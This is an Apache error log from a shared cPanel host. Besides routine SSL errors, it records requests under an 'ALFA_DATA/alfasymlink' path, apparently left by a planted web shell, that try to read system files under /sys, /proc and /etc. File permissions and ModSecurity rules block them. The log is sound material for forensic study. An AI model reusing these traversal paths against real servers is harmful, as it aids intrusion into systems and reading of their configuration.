[Mon Oct 26 02:54:38.743238 2026] [core:error] [pid 2978288:tid 2978288] (13)Permission denied: [client 98.82.107.102:14576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/remove
[Mon Oct 26 02:54:50.583333 2026] [core:error] [pid 2984441:tid 2984441] (13)Permission denied: [client 3.229.164.203:43478] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/cpu1/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:05.0/subsystem/slots/16/module/uevent
[Mon Oct 26 02:54:52.889337 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 85.208.96.201:62650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-256/shrink
[Mon Oct 26 02:54:54.551507 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 34.196.114.170:45700] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:55:10.392584 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 18.209.137.234:46959] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:55:18.365268 2026] [ssl:error] [pid 2978292:tid 2978292] (70014)End of file found: [client 52.45.194.165:5538] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:55:26.199287 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 107.23.62.75:15442] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:55:34.182055 2026] [ssl:error] [pid 2982084:tid 2982084] (70014)End of file found: [client 52.71.46.142:40486] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:55:46.230247 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 98.84.60.17:19349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:55:50.183114 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.94.157.25:9738] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:55:53.687765 2026] [security2:error] [pid 2978288:tid 2978288] [client 107.172.76.131:51845] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at75bNme1KEgtmTVIXKe7QAAAAc"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:55:53.687843 2026] [security2:error] [pid 2978288:tid 2978288] [client 107.172.76.131:51845] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at75bNme1KEgtmTVIXKe7QAAAAc"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 02:55:54.210990 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 3.230.69.161:10117] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:55:58.302415 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 52.0.41.164:46174] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:56:02.274791 2026] [core:error] [pid 2986309:tid 2986309] (13)Permission denied: [client 3.210.29.96:36267] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/devices/0000:00:03.0/rom
[Mon Oct 26 02:56:08.770299 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 185.191.171.19:23496] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/alloc_calls
[Mon Oct 26 02:56:10.165893 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 18.204.152.114:6215] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:56:14.152714 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 3.216.13.10:51420] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:56:18.152880 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 100.28.133.214:50322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/resource0
[Mon Oct 26 02:56:22.405391 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 44.221.227.90:20562] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:56:42.299942 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 54.159.98.248:59785] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:56:46.230275 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 34.194.95.99:60971] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:56:54.153131 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 44.205.180.155:38653] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:56:58.282515 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.202.52.82:3065] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:06.178339 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 54.85.109.140:4404] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:08.602889 2026] [core:error] [pid 2986309:tid 2986309] (13)Permission denied: [client 85.208.96.200:42638] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/total_objects
[Mon Oct 26 02:57:10.219358 2026] [ssl:error] [pid 2974954:tid 2974954] (70014)End of file found: [client 52.203.65.83:47728] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:18.169396 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 44.209.187.99:31208] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/xhci-hcd/uevent
[Mon Oct 26 02:57:19.959868 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 185.191.171.8:20222] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:20.000248 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 185.191.171.8:20226] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:21.009162 2026] [authz_core:error] [pid 2974954:tid 2974954] [client 23.22.243.211:45121] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Mon Oct 26 02:57:26.136877 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 100.27.153.9:35727] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:30.142334 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 44.223.116.149:46465] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:32.365173 2026] [core:error] [pid 2984174:tid 2984174] (13)Permission denied: [client 85.208.96.201:64466] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dmaengine-unmap-16/min_partial
[Mon Oct 26 02:57:33.769498 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 185.191.171.18:40700] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-192/validate
[Mon Oct 26 02:57:34.210566 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 35.169.240.53:9679] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:38.140226 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 34.204.150.196:45842] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:50.151185 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.204.81.148:21653] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:57:54.148917 2026] [core:error] [pid 2984261:tid 2984261] (13)Permission denied: [client 52.7.13.143:28884] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/devices/0000:00:03.0/remove
[Mon Oct 26 02:57:58.243754 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 54.159.18.27:40710] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input5/subsystem/input1/subsystem/input5/device/driver/module/drivers/platform:pcspkr/unbind
[Mon Oct 26 02:58:02.168100 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 3.210.223.61:56306] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:58:06.139962 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 23.21.227.240:1958] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:58:14.215902 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 3.222.85.38:27203] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:58:22.312222 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.197.82.195:63284] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:58:46.143074 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 44.215.231.15:24043] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:06/physical_node/virtio2/driver/bind
[Mon Oct 26 02:58:58.275057 2026] [core:error] [pid 2986309:tid 2986309] (13)Permission denied: [client 185.191.171.6:46674] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache_node/reclaim_account
[Mon Oct 26 02:59:02.159334 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 18.205.127.11:9771] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:59:10.305998 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 3.219.81.66:2932] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:59:18.248555 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 54.225.181.161:65523] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:59:19.320599 2026] [proxy_fcgi:error] [pid 2982084:tid 2982084] [client 137.184.166.86:60935] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 02:59:26.157745 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 52.202.52.82:34699] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:59:30.141295 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 23.23.137.202:5425] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:59:31.149066 2026] [authz_core:error] [pid 2984441:tid 2984441] [client 77.239.124.162:34978] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 02:59:34.166387 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 52.4.213.199:60923] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:59:42.094601 2026] [core:error] [pid 2974954:tid 2974954] (13)Permission denied: [client 85.208.96.199:51528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/object_size
[Mon Oct 26 02:59:42.156269 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 50.19.102.70:1458] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:59:46.145020 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 52.0.63.151:25529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 02:59:58.155610 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 44.206.93.215:52532] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:00:02.162621 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 3.211.105.134:35999] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:00:09.297874 2026] [core:error] [pid 2982084:tid 2982084] (13)Permission denied: [client 85.208.96.203:49568] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/slabs_cpu_partial
[Mon Oct 26 03:00:14.150003 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 98.82.66.172:30685] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:00:18.156816 2026] [ssl:error] [pid 2984441:tid 2984441] (70014)End of file found: [client 18.214.251.19:29058] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:00:30.306874 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 184.72.95.195:64362] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:00:34.221329 2026] [ssl:error] [pid 2984263:tid 2984263] (70014)End of file found: [client 44.210.213.220:3556] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:00:38.140309 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 52.54.15.103:22092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/cirrus/remove_id
[Mon Oct 26 03:00:43.495671 2026] [proxy_fcgi:error] [pid 2984174:tid 2984174] [client 161.35.202.62:60198] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 03:00:46.127265 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 100.28.133.214:19921] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:14.154971 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 52.2.191.202:29741] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:15.335014 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 185.191.171.19:59198] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:16.506318 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 85.208.96.193:51664] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:22.169387 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 34.236.41.241:2754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:24.382726 2026] [ssl:error] [pid 2984073:tid 2984073] (70014)End of file found: [client 85.208.96.193:24110] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:27.675393 2026] [security2:error] [pid 2978288:tid 2978288] [client 16.216.88.195:16384] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "at76x9me1KEgtmTVIXKfBAAAAAc"]
[Mon Oct 26 03:01:27.675842 2026] [security2:error] [pid 2978288:tid 2978288] [client 16.216.88.195:16384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "at76x9me1KEgtmTVIXKfBAAAAAc"]
[Mon Oct 26 03:01:27.676154 2026] [security2:error] [pid 2978288:tid 2978288] [client 16.216.88.195:16384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/350_mod_proxy_wstunnel.conf"] [unique_id "at76x9me1KEgtmTVIXKfBAAAAAc"]
[Mon Oct 26 03:01:34.131612 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 3.212.86.97:23482] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:35.041468 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 185.191.171.8:30628] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:38.167118 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 50.16.248.61:8894] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:42.135113 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 52.205.113.104:43321] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:46.135356 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 3.224.215.150:31726] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:50.164044 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 35.172.125.172:20773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:01:54.251758 2026] [core:error] [pid 2984316:tid 2984316] (13)Permission denied: [client 44.205.192.249:54758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/device:06/physical_node/virtio2/driver/unbind
[Mon Oct 26 03:01:58.147652 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 52.44.174.136:31740] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:02:06.192988 2026] [ssl:error] [pid 2984261:tid 2984261] (70014)End of file found: [client 3.212.86.97:62600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:02:10.502155 2026] [security2:error] [pid 2963566:tid 2963566] [client 16.216.88.152:36864] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/spacewalk.conf"] [unique_id "at768s9if2Wl_DKO7XbABQAAADM"]
[Mon Oct 26 03:02:10.502614 2026] [security2:error] [pid 2963566:tid 2963566] [client 16.216.88.152:36864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/spacewalk.conf"] [unique_id "at768s9if2Wl_DKO7XbABQAAADM"]
[Mon Oct 26 03:02:10.502931 2026] [security2:error] [pid 2963566:tid 2963566] [client 16.216.88.152:36864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/yum/pluginconf.d/spacewalk.conf"] [unique_id "at768s9if2Wl_DKO7XbABQAAADM"]
[Mon Oct 26 03:02:34.203437 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 44.218.170.184:42754] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:02:36.488207 2026] [authz_core:error] [pid 2984452:tid 2984452] [client 205.210.31.181:57520] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 03:02:38.242891 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 184.73.239.35:55411] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:02:42.814378 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 34.194.14.255:35826] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:02:50.131753 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 34.231.156.59:62935] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:02:54.133476 2026] [ssl:error] [pid 2984174:tid 2984174] (70014)End of file found: [client 44.215.235.20:37905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:02.145035 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 34.225.24.180:11186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:06.190135 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 52.2.83.227:30600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:10.150087 2026] [core:error] [pid 2988243:tid 2988243] (13)Permission denied: [client 44.221.37.41:14900] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/PNP0A03:00/device:05/wakeup/wakeup5/device/physical_node/subsystem/uevent
[Mon Oct 26 03:03:14.139855 2026] [ssl:error] [pid 2984450:tid 2984450] (70014)End of file found: [client 98.83.177.42:21735] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:22.124758 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 54.162.69.192:2862] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:22.125017 2026] [security2:error] [pid 2982126:tid 2982126] [client 54.162.69.192:2862] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory22/node0/memory22/valid_zones"] [unique_id "at77OmOlQEA7vTaN5Z-iKAAAABA"]
[Mon Oct 26 03:03:22.125046 2026] [security2:error] [pid 2982126:tid 2982126] [client 54.162.69.192:2862] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory22/node0/memory22/valid_zones"] [unique_id "at77OmOlQEA7vTaN5Z-iKAAAABA"]
[Mon Oct 26 03:03:26.145493 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 44.213.36.21:5412] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:28.477725 2026] [core:error] [pid 2984450:tid 2984450] (13)Permission denied: [client 185.191.171.13:19422] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-512/slab_size
[Mon Oct 26 03:03:35.455881 2026] [security2:error] [pid 2984441:tid 2984441] [client 107.172.76.131:51881] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at77Oay4l0fHhEjHUwfLNwAAAAo"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 03:03:35.455935 2026] [security2:error] [pid 2984441:tid 2984441] [client 107.172.76.131:51881] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at77Oay4l0fHhEjHUwfLNwAAAAo"], referer: https://clic2.sherwinpinturas.com//beta.php
[Mon Oct 26 03:03:46.137016 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 52.44.148.203:23959] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:50.340613 2026] [ssl:error] [pid 2982126:tid 2982126] (70014)End of file found: [client 44.217.255.167:56280] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:56.546901 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 185.191.171.13:11396] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:03:56.643385 2026] [ssl:error] [pid 2984462:tid 2984462] (70014)End of file found: [client 185.191.171.13:11408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:04:02.147093 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 54.84.161.62:22828] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:04:14.184003 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 107.20.181.148:60400] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:04:26.156362 2026] [ssl:error] [pid 2978288:tid 2978288] (70014)End of file found: [client 52.3.156.186:40695] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:04:30.204671 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 98.82.66.172:55075] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:04:38.155076 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 34.225.24.180:25388] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:04:42.287226 2026] [ssl:error] [pid 2988243:tid 2988243] (70014)End of file found: [client 44.207.207.36:38480] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:04:46.296183 2026] [ssl:error] [pid 2984452:tid 2984452] (70014)End of file found: [client 3.222.85.38:28151] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:04:58.119022 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 54.84.161.62:3149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:05:02.143470 2026] [ssl:error] [pid 2978303:tid 2978303] (70014)End of file found: [client 52.204.253.129:25237] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 03:05:14.171155 2026] [ssl:error] [pid 2984316:tid 2984316] (70014)End of file found: [client 184.72.95.195:49010] AH02013: coalesce failed to read from data bucket
